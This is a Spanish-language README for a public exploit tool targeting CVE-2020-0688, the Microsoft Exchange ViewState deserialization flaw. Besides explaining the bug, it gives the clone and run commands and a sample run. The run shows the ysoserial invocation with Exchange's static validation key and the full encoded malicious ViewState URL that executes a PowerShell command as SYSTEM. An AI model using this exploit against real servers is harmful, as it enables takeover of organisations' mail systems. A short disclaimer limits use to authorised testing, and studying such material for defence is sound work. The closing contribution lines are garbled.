
Ejecución remota de código en Microsoft Exchange Server mediante claves criptográficas fijas
Existe una vulnerabilidad de ejecución remota de código en Microsoft Exchange Server cuando el servidor no logra crear claves únicas correctamente en el momento de la instalación.
El conocimiento de la clave de validación permite que un usuario autenticado con buzón de correo pase objetos arbitrarios para que sean deserializados por la aplicación web, la cual se ejecuta como SYSTEM.
El fallo se encuentra en el componente Exchange Control Panel (ECP). La naturaleza del fallo es bastante simple. En lugar de tener claves generadas aleatoriamente por instalación, todas las instalaciones de Microsoft Exchange Server tienen los mismos valores de validationKey y decryptionKey en web.config. Estas claves se utilizan para proporcionar seguridad a ViewState. ViewState son datos del lado del servidor que las aplicaciones web ASP.NET almacenan en formato serializado en el cliente. El cliente proporciona estos datos de vuelta al servidor mediante el parámetro de solicitud __VIEWSTATE.
Debido al uso de claves estáticas, un atacante autenticado puede engañar al servidor para que deserialice datos ViewState manipulados maliciosamente. Con la ayuda de YSoSerial.net, un atacante puede ejecutar código .NET arbitrario en el servidor en el contexto de la aplicación web Exchange Control Panel, la cual se ejecuta como SYSTEM. (Fuente)
Gracias a estas instrucciones, puedes obtener una copia del proyecto y ponerla en marcha en tu máquina local para fines de desarrollo y pruebas.
git clone https://github.com/MrTiz/CVE-2020-0688.git
PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url <url> -Username <username> -Password <password> -Command <command> -YsoserialPath <ysoserialpath>
PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url 'https://localhost' -Username 'domain\username' -Password 'REDACTED' -Command 'powershell whoami > C:/whoami.txt' -YsoserialPath 'C:\Users\User\Desktop\CVE-2020-0688\ysoserial\ysoserial.exe'
[*] Start to exploit...
[+] Login url: https://localhost:443/owa/auth.owa
[*] Status code: 200
[+] Login successfully!
[*] Tring to get __VIEWSTATEGENERATOR...
[+] Done! __VIEWSTATEGENERATOR: B97B4E27
[*] Tring to get ASP.NET_SessionId...
[+] Done! ASP.NET_SessionId: 624abfff-85b6-4357-be8c-18a931cad256
C:\Users\User\Desktop\CVE-2020-0688\ysoserial\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell whoami > C:/whoami.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="624abfff-85b6-4357-be8c-18a931cad256" --islegacy --isdebug
[+] Exp url: https://localhost:443/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyywYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADtBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BcG93ZXJzaGVsbDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BIndob2FtaSAmZ3Q7IEM6L3dob2FtaS50eHQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgviru9bDCgMPT0snH0s0u%2BA6J37Fg%3D%3D
[*] Auto trigger payload...
[+] Status code: 500, Maybe success!
Las contribuciones son lo que hacen de la comunidad de código abierto un buen lugar para aprender, inspirar y crear. Cualquier contribución que puedas aportar será muy apreciada.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Este exploit fue desarrollado y publicado únicamente con fines educativos y de investigación. El autor no asume ninguna responsabilidad por cualquier uso ilegal. Úsalo bajo tu propio riesgo y solo contra sistemas para los cuales estés autorizado a probarlo.
Este proyecto está licenciado bajo la Licencia Pública General de GNU v3.0 - consulta el archivo LICENSE para más detalles.